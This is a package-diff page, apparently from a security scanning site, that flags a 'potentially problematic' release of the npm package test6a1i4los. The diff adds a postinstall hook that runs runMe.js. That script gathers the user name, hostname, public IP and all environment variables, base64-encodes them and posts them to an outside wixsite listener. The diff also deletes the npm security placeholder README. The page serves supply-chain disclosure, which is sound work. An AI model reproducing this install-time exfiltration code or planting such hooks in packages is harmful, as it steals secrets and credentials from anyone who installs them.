test6a1i4los 0.0.1-security → 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of test6a1i4los might be problematic. Click here for more details.
- package/package.json +12 -3
- package/runMe.js +36 -0
- package/README.md +0 -5
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "test6a1i4los",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "test",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node ./runMe.js"
|
8
|
+
},
|
9
|
+
"author": "elikrem",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^0.27.2",
|
13
|
+
"test6a1i4los": "^1.0.0"
|
14
|
+
}
|
6
15
|
}
|
package/runMe.js
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
const { execSync } = require('child_process');
|
2
|
+
const https = require('https');
|
3
|
+
const axios = require('axios');
|
4
|
+
|
5
|
+
(async function main () {
|
6
|
+
let result = {}
|
7
|
+
let whoami = await execSync('whoami',{encoding: "UTF-8"});
|
8
|
+
let hostname = await execSync('hostname',{encoding: "UTF-8"});
|
9
|
+
let ip = await execSync('curl ifconfig.me',{encoding: "UTF-8"});
|
10
|
+
let env = await execSync('env',{encoding: "UTF-8"});
|
11
|
+
|
12
|
+
|
13
|
+
result.whoami = whoami.toString();
|
14
|
+
result.hostname = hostname.toString();
|
15
|
+
result.ip = ip.toString();
|
16
|
+
result.env = env.toString();
|
17
|
+
|
18
|
+
//console.log(result)
|
19
|
+
const data = JSON.stringify(result)
|
20
|
+
|
21
|
+
const encoded = Buffer.from(data, 'utf8').toString('base64')
|
22
|
+
|
23
|
+
let url = 'https://elikr3.wixsite.com/tools/_functions/listener?paylaod=' + encoded
|
24
|
+
|
25
|
+
axios
|
26
|
+
.post(url, data)
|
27
|
+
.then(res => {
|
28
|
+
console.log(`statusCode: ${res.status}`);
|
29
|
+
console.log(res);
|
30
|
+
})
|
31
|
+
.catch(error => {
|
32
|
+
console.error(error);
|
33
|
+
});
|
34
|
+
|
35
|
+
|
36
|
+
})();
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=test6a1i4los for more information.
|